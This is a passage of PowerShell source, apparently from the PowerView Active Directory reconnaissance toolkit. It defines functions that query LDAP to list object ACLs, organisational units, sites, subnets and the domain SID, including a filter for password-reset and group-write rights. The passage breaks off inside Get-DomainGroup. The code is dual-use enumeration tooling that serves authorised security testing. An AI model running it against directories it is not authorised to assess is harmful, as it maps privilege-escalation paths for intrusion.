  4465.         [Management.Automation.PSCredential]
  4466.         [Management.Automation.CredentialAttribute()]
  4467.         $Credential = [Management.Automation.PSCredential]::Empty
  4468.     )
  4469.  
  4470.     BEGIN {
  4471.         $SearcherArguments = @{
  4472.             'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
  4473.         }
  4474.  
  4475.         if ($PSBoundParameters['Sacl']) {
  4476.             $SearcherArguments['SecurityMasks'] = 'Sacl'
  4477.         }
  4478.         else {
  4479.             $SearcherArguments['SecurityMasks'] = 'Dacl'
  4480.         }
  4481.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  4482.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  4483.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  4484.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  4485.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  4486.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  4487.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  4488.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  4489.         $Searcher = Get-DomainSearcher @SearcherArguments
  4490.  
  4491.         $DomainGUIDMapArguments = @{}
  4492.         if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
  4493.         if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
  4494.         if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
  4495.         if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
  4496.         if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
  4497.  
  4498.         # get a GUID -> name mapping
  4499.         if ($PSBoundParameters['ResolveGUIDs']) {
  4500.             $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
  4501.         }
  4502.     }
  4503.  
  4504.     PROCESS {
  4505.         if ($Searcher) {
  4506.             $IdentityFilter = ''
  4507.             $Filter = ''
  4508.             $Identity | Where-Object {$_} | ForEach-Object {
  4509.                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  4510.                 if ($IdentityInstance -match '^S-1-.*') {
  4511.                     $IdentityFilter += "(objectsid=$IdentityInstance)"
  4512.                 }
  4513.                 elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
  4514.                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  4515.                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  4516.                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  4517.                         #   and rebuild the domain searcher
  4518.                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  4519.                         Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  4520.                         $SearcherArguments['Domain'] = $IdentityDomain
  4521.                         $Searcher = Get-DomainSearcher @SearcherArguments
  4522.                         if (-not $Searcher) {
  4523.                             Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"
  4524.                         }
  4525.                     }
  4526.                 }
  4527.                 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
  4528.                     $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
  4529.                     $IdentityFilter += "(objectguid=$GuidByteString)"
  4530.                 }
  4531.                 elseif ($IdentityInstance.Contains('.')) {
  4532.                     $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
  4533.                 }
  4534.                 else {
  4535.                     $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
  4536.                 }
  4537.             }
  4538.             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  4539.                 $Filter += "(|$IdentityFilter)"
  4540.             }
  4541.  
  4542.             if ($PSBoundParameters['LDAPFilter']) {
  4543.                 Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
  4544.                 $Filter += "$LDAPFilter"
  4545.             }
  4546.  
  4547.             if ($Filter) {
  4548.                 $Searcher.filter = "(&$Filter)"
  4549.             }
  4550.             Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)"
  4551.  
  4552.             $Results = $Searcher.FindAll()
  4553.             $Results | Where-Object {$_} | ForEach-Object {
  4554.                 $Object = $_.Properties
  4555.  
  4556.                 if ($Object.objectsid -and $Object.objectsid[0]) {
  4557.                     $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
  4558.                 }
  4559.                 else {
  4560.                     $ObjectSid = $Null
  4561.                 }
  4562.  
  4563.                 try {
  4564.                     New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {
  4565.                         if ($PSBoundParameters['RightsFilter']) {
  4566.                             $GuidFilter = Switch ($RightsFilter) {
  4567.                                 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
  4568.                                 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
  4569.                                 Default { '00000000-0000-0000-0000-000000000000' }
  4570.                             }
  4571.                             if ($_.ObjectType -eq $GuidFilter) {
  4572.                                 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
  4573.                                 $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
  4574.                                 $Continue = $True
  4575.                             }
  4576.                         }
  4577.                         else {
  4578.                             $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
  4579.                             $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
  4580.                             $Continue = $True
  4581.                         }
  4582.  
  4583.                         if ($Continue) {
  4584.                             $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
  4585.                             if ($GUIDs) {
  4586.                                 # if we're resolving GUIDs, map them them to the resolved hash table
  4587.                                 $AclProperties = @{}
  4588.                                 $_.psobject.properties | ForEach-Object {
  4589.                                     if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
  4590.                                         try {
  4591.                                             $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
  4592.                                         }
  4593.                                         catch {
  4594.                                             $AclProperties[$_.Name] = $_.Value
  4595.                                         }
  4596.                                     }
  4597.                                     else {
  4598.                                         $AclProperties[$_.Name] = $_.Value
  4599.                                     }
  4600.                                 }
  4601.                                 $OutObject = New-Object -TypeName PSObject -Property $AclProperties
  4602.                                 $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
  4603.                                 $OutObject
  4604.                             }
  4605.                             else {
  4606.                                 $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
  4607.                                 $_
  4608.                             }
  4609.                         }
  4610.                     }
  4611.                 }
  4612.                 catch {
  4613.                     Write-Verbose "[Get-DomainObjectAcl] Error: $_"
  4614.                 }
  4615.             }
  4616.         }
  4617.     }
  4618. }
  4619.  
  4620. function Get-DomainOU {
  4621.  
  4622.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  4623.     [OutputType('PowerView.OU')]
  4624.     [CmdletBinding()]
  4625.     Param (
  4626.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  4627.         [Alias('Name')]
  4628.         [String[]]
  4629.         $Identity,
  4630.  
  4631.         [ValidateNotNullOrEmpty()]
  4632.         [String]
  4633.         [Alias('GUID')]
  4634.         $GPLink,
  4635.  
  4636.         [ValidateNotNullOrEmpty()]
  4637.         [String]
  4638.         $Domain,
  4639.  
  4640.         [ValidateNotNullOrEmpty()]
  4641.         [Alias('Filter')]
  4642.         [String]
  4643.         $LDAPFilter,
  4644.  
  4645.         [ValidateNotNullOrEmpty()]
  4646.         [String[]]
  4647.         $Properties,
  4648.  
  4649.         [ValidateNotNullOrEmpty()]
  4650.         [Alias('ADSPath')]
  4651.         [String]
  4652.         $SearchBase,
  4653.  
  4654.         [ValidateNotNullOrEmpty()]
  4655.         [Alias('DomainController')]
  4656.         [String]
  4657.         $Server,
  4658.  
  4659.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  4660.         [String]
  4661.         $SearchScope = 'Subtree',
  4662.  
  4663.         [ValidateRange(1, 10000)]
  4664.         [Int]
  4665.         $ResultPageSize = 200,
  4666.  
  4667.         [ValidateRange(1, 10000)]
  4668.         [Int]
  4669.         $ServerTimeLimit,
  4670.  
  4671.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  4672.         [String]
  4673.         $SecurityMasks,
  4674.  
  4675.         [Switch]
  4676.         $Tombstone,
  4677.  
  4678.         [Alias('ReturnOne')]
  4679.         [Switch]
  4680.         $FindOne,
  4681.  
  4682.         [Management.Automation.PSCredential]
  4683.         [Management.Automation.CredentialAttribute()]
  4684.         $Credential = [Management.Automation.PSCredential]::Empty,
  4685.  
  4686.         [Switch]
  4687.         $Raw
  4688.     )
  4689.  
  4690.     BEGIN {
  4691.         $SearcherArguments = @{}
  4692.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  4693.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  4694.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  4695.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  4696.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  4697.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  4698.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  4699.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  4700.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  4701.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  4702.         $OUSearcher = Get-DomainSearcher @SearcherArguments
  4703.     }
  4704.  
  4705.     PROCESS {
  4706.         if ($OUSearcher) {
  4707.             $IdentityFilter = ''
  4708.             $Filter = ''
  4709.             $Identity | Where-Object {$_} | ForEach-Object {
  4710.                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  4711.                 if ($IdentityInstance -match '^OU=.*') {
  4712.                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  4713.                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  4714.                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  4715.                         #   and rebuild the domain searcher
  4716.                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  4717.                         Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  4718.                         $SearcherArguments['Domain'] = $IdentityDomain
  4719.                         $OUSearcher = Get-DomainSearcher @SearcherArguments
  4720.                         if (-not $OUSearcher) {
  4721.                             Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
  4722.                         }
  4723.                     }
  4724.                 }
  4725.                 else {
  4726.                     try {
  4727.                         $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
  4728.                         $IdentityFilter += "(objectguid=$GuidByteString)"
  4729.                     }
  4730.                     catch {
  4731.                         $IdentityFilter += "(name=$IdentityInstance)"
  4732.                     }
  4733.                 }
  4734.             }
  4735.             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  4736.                 $Filter += "(|$IdentityFilter)"
  4737.             }
  4738.  
  4739.             if ($PSBoundParameters['GPLink']) {
  4740.                 Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
  4741.                 $Filter += "(gplink=*$GPLink*)"
  4742.             }
  4743.  
  4744.             if ($PSBoundParameters['LDAPFilter']) {
  4745.                 Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
  4746.                 $Filter += "$LDAPFilter"
  4747.             }
  4748.  
  4749.             $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
  4750.             Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
  4751.  
  4752.             if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
  4753.             else { $Results = $OUSearcher.FindAll() }
  4754.             $Results | Where-Object {$_} | ForEach-Object {
  4755.                 if ($PSBoundParameters['Raw']) {
  4756.                     # return raw result objects
  4757.                     $OU = $_
  4758.                 }
  4759.                 else {
  4760.                     $OU = Convert-LDAPProperty -Properties $_.Properties
  4761.                 }
  4762.                 $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
  4763.                 $OU
  4764.             }
  4765.             if ($Results) {
  4766.                 try { $Results.dispose() }
  4767.                 catch {
  4768.                     Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
  4769.                 }
  4770.             }
  4771.             $OUSearcher.dispose()
  4772.         }
  4773.     }
  4774. }
  4775.  
  4776. function Get-DomainSite {
  4777.  
  4778.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  4779.     [OutputType('PowerView.Site')]
  4780.     [CmdletBinding()]
  4781.     Param (
  4782.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  4783.         [Alias('Name')]
  4784.         [String[]]
  4785.         $Identity,
  4786.  
  4787.         [ValidateNotNullOrEmpty()]
  4788.         [String]
  4789.         [Alias('GUID')]
  4790.         $GPLink,
  4791.  
  4792.         [ValidateNotNullOrEmpty()]
  4793.         [String]
  4794.         $Domain,
  4795.  
  4796.         [ValidateNotNullOrEmpty()]
  4797.         [Alias('Filter')]
  4798.         [String]
  4799.         $LDAPFilter,
  4800.  
  4801.         [ValidateNotNullOrEmpty()]
  4802.         [String[]]
  4803.         $Properties,
  4804.  
  4805.         [ValidateNotNullOrEmpty()]
  4806.         [Alias('ADSPath')]
  4807.         [String]
  4808.         $SearchBase,
  4809.  
  4810.         [ValidateNotNullOrEmpty()]
  4811.         [Alias('DomainController')]
  4812.         [String]
  4813.         $Server,
  4814.  
  4815.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  4816.         [String]
  4817.         $SearchScope = 'Subtree',
  4818.  
  4819.         [ValidateRange(1, 10000)]
  4820.         [Int]
  4821.         $ResultPageSize = 200,
  4822.  
  4823.         [ValidateRange(1, 10000)]
  4824.         [Int]
  4825.         $ServerTimeLimit,
  4826.  
  4827.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  4828.         [String]
  4829.         $SecurityMasks,
  4830.  
  4831.         [Switch]
  4832.         $Tombstone,
  4833.  
  4834.         [Alias('ReturnOne')]
  4835.         [Switch]
  4836.         $FindOne,
  4837.  
  4838.         [Management.Automation.PSCredential]
  4839.         [Management.Automation.CredentialAttribute()]
  4840.         $Credential = [Management.Automation.PSCredential]::Empty,
  4841.  
  4842.         [Switch]
  4843.         $Raw
  4844.     )
  4845.  
  4846.     BEGIN {
  4847.         $SearcherArguments = @{
  4848.             'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
  4849.         }
  4850.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  4851.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  4852.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  4853.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  4854.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  4855.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  4856.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  4857.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  4858.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  4859.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  4860.         $SiteSearcher = Get-DomainSearcher @SearcherArguments
  4861.     }
  4862.  
  4863.     PROCESS {
  4864.         if ($SiteSearcher) {
  4865.             $IdentityFilter = ''
  4866.             $Filter = ''
  4867.             $Identity | Where-Object {$_} | ForEach-Object {
  4868.                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  4869.                 if ($IdentityInstance -match '^CN=.*') {
  4870.                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  4871.                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  4872.                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  4873.                         #   and rebuild the domain searcher
  4874.                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  4875.                         Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  4876.                         $SearcherArguments['Domain'] = $IdentityDomain
  4877.                         $SiteSearcher = Get-DomainSearcher @SearcherArguments
  4878.                         if (-not $SiteSearcher) {
  4879.                             Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'"
  4880.                         }
  4881.                     }
  4882.                 }
  4883.                 else {
  4884.                     try {
  4885.                         $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
  4886.                         $IdentityFilter += "(objectguid=$GuidByteString)"
  4887.                     }
  4888.                     catch {
  4889.                         $IdentityFilter += "(name=$IdentityInstance)"
  4890.                     }
  4891.                 }
  4892.             }
  4893.             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  4894.                 $Filter += "(|$IdentityFilter)"
  4895.             }
  4896.  
  4897.             if ($PSBoundParameters['GPLink']) {
  4898.                 Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"
  4899.                 $Filter += "(gplink=*$GPLink*)"
  4900.             }
  4901.  
  4902.             if ($PSBoundParameters['LDAPFilter']) {
  4903.                 Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"
  4904.                 $Filter += "$LDAPFilter"
  4905.             }
  4906.  
  4907.             $SiteSearcher.filter = "(&(objectCategory=site)$Filter)"
  4908.             Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"
  4909.  
  4910.             if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }
  4911.             else { $Results = $SiteSearcher.FindAll() }
  4912.             $Results | Where-Object {$_} | ForEach-Object {
  4913.                 if ($PSBoundParameters['Raw']) {
  4914.                     # return raw result objects
  4915.                     $Site = $_
  4916.                 }
  4917.                 else {
  4918.                     $Site = Convert-LDAPProperty -Properties $_.Properties
  4919.                 }
  4920.                 $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site')
  4921.                 $Site
  4922.             }
  4923.             if ($Results) {
  4924.                 try { $Results.dispose() }
  4925.                 catch {
  4926.                     Write-Verbose "[Get-DomainSite] Error disposing of the Results object"
  4927.                 }
  4928.             }
  4929.             $SiteSearcher.dispose()
  4930.         }
  4931.     }
  4932. }
  4933.  
  4934. function Get-DomainSubnet {
  4935.  
  4936.  
  4937.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  4938.     [OutputType('PowerView.Subnet')]
  4939.     [CmdletBinding()]
  4940.     Param (
  4941.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  4942.         [Alias('Name')]
  4943.         [String[]]
  4944.         $Identity,
  4945.  
  4946.         [ValidateNotNullOrEmpty()]
  4947.         [String]
  4948.         $SiteName,
  4949.  
  4950.         [ValidateNotNullOrEmpty()]
  4951.         [String]
  4952.         $Domain,
  4953.  
  4954.         [ValidateNotNullOrEmpty()]
  4955.         [Alias('Filter')]
  4956.         [String]
  4957.         $LDAPFilter,
  4958.  
  4959.         [ValidateNotNullOrEmpty()]
  4960.         [String[]]
  4961.         $Properties,
  4962.  
  4963.         [ValidateNotNullOrEmpty()]
  4964.         [Alias('ADSPath')]
  4965.         [String]
  4966.         $SearchBase,
  4967.  
  4968.         [ValidateNotNullOrEmpty()]
  4969.         [Alias('DomainController')]
  4970.         [String]
  4971.         $Server,
  4972.  
  4973.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  4974.         [String]
  4975.         $SearchScope = 'Subtree',
  4976.  
  4977.         [ValidateRange(1, 10000)]
  4978.         [Int]
  4979.         $ResultPageSize = 200,
  4980.  
  4981.         [ValidateRange(1, 10000)]
  4982.         [Int]
  4983.         $ServerTimeLimit,
  4984.  
  4985.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  4986.         [String]
  4987.         $SecurityMasks,
  4988.  
  4989.         [Switch]
  4990.         $Tombstone,
  4991.  
  4992.         [Alias('ReturnOne')]
  4993.         [Switch]
  4994.         $FindOne,
  4995.  
  4996.         [Management.Automation.PSCredential]
  4997.         [Management.Automation.CredentialAttribute()]
  4998.         $Credential = [Management.Automation.PSCredential]::Empty,
  4999.  
  5000.         [Switch]
  5001.         $Raw
  5002.     )
  5003.  
  5004.     BEGIN {
  5005.         $SearcherArguments = @{
  5006.             'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration'
  5007.         }
  5008.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  5009.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  5010.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  5011.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  5012.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  5013.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  5014.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  5015.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  5016.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  5017.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  5018.         $SubnetSearcher = Get-DomainSearcher @SearcherArguments
  5019.     }
  5020.  
  5021.     PROCESS {
  5022.         if ($SubnetSearcher) {
  5023.             $IdentityFilter = ''
  5024.             $Filter = ''
  5025.             $Identity | Where-Object {$_} | ForEach-Object {
  5026.                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  5027.                 if ($IdentityInstance -match '^CN=.*') {
  5028.                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  5029.                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  5030.                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  5031.                         #   and rebuild the domain searcher
  5032.                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  5033.                         Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  5034.                         $SearcherArguments['Domain'] = $IdentityDomain
  5035.                         $SubnetSearcher = Get-DomainSearcher @SearcherArguments
  5036.                         if (-not $SubnetSearcher) {
  5037.                             Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'"
  5038.                         }
  5039.                     }
  5040.                 }
  5041.                 else {
  5042.                     try {
  5043.                         $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
  5044.                         $IdentityFilter += "(objectguid=$GuidByteString)"
  5045.                     }
  5046.                     catch {
  5047.                         $IdentityFilter += "(name=$IdentityInstance)"
  5048.                     }
  5049.                 }
  5050.             }
  5051.             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  5052.                 $Filter += "(|$IdentityFilter)"
  5053.             }
  5054.  
  5055.             if ($PSBoundParameters['LDAPFilter']) {
  5056.                 Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter"
  5057.                 $Filter += "$LDAPFilter"
  5058.             }
  5059.  
  5060.             $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)"
  5061.             Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)"
  5062.  
  5063.             if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() }
  5064.             else { $Results = $SubnetSearcher.FindAll() }
  5065.             $Results | Where-Object {$_} | ForEach-Object {
  5066.                 if ($PSBoundParameters['Raw']) {
  5067.                     # return raw result objects
  5068.                     $Subnet = $_
  5069.                 }
  5070.                 else {
  5071.                     $Subnet = Convert-LDAPProperty -Properties $_.Properties
  5072.                 }
  5073.                 $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet')
  5074.  
  5075.                 if ($PSBoundParameters['SiteName']) {
  5076.                     # have to do the filtering after the LDAP query as LDAP doesn't let you specify
  5077.                     #   wildcards for 'siteobject' :(
  5078.                     if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) {
  5079.                         $Subnet
  5080.                     }
  5081.                     elseif ($Subnet.siteobject -like "*$SiteName*") {
  5082.                         $Subnet
  5083.                     }
  5084.                 }
  5085.                 else {
  5086.                     $Subnet
  5087.                 }
  5088.             }
  5089.             if ($Results) {
  5090.                 try { $Results.dispose() }
  5091.                 catch {
  5092.                     Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_"
  5093.                 }
  5094.             }
  5095.             $SubnetSearcher.dispose()
  5096.         }
  5097.     }
  5098. }
  5099.  
  5100. function Get-DomainSID {
  5101.  
  5102.  
  5103.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  5104.     [OutputType([String])]
  5105.     [CmdletBinding()]
  5106.     Param(
  5107.         [ValidateNotNullOrEmpty()]
  5108.         [String]
  5109.         $Domain,
  5110.  
  5111.         [ValidateNotNullOrEmpty()]
  5112.         [Alias('DomainController')]
  5113.         [String]
  5114.         $Server,
  5115.  
  5116.         [Management.Automation.PSCredential]
  5117.         [Management.Automation.CredentialAttribute()]
  5118.         $Credential = [Management.Automation.PSCredential]::Empty
  5119.     )
  5120.  
  5121.     $SearcherArguments = @{
  5122.         'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
  5123.     }
  5124.     if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  5125.     if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  5126.     if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  5127.  
  5128.     $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid
  5129.  
  5130.     if ($DCSID) {
  5131.         $DCSID.SubString(0, $DCSID.LastIndexOf('-'))
  5132.     }
  5133.     else {
  5134.         Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'"
  5135.     }
  5136. }
  5137.  
  5138. function Get-DomainGroup {
  5139.  
  5140.  
  5141.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  5142.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  5143.     [OutputType('PowerView.Group')]
  5144.     [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
  5145.     Param(
  5146.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  5147.         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
  5148.         [String[]]
  5149.         $Identity,
  5150.  
  5151.         [ValidateNotNullOrEmpty()]
  5152.         [Alias('UserName')]
  5153.         [String]
  5154.         $MemberIdentity,
  5155.  
  5156.         [Switch]
  5157.         $AdminCount,
  5158.  
  5159.         [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')]
  5160.         [Alias('Scope')]
  5161.         [String]
  5162.         $GroupScope,
  5163.  
  5164.         [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')]
  5165.         [String]
  5166.         $GroupProperty,
  5167.  
  5168.         [ValidateNotNullOrEmpty()]
  5169.         [String]
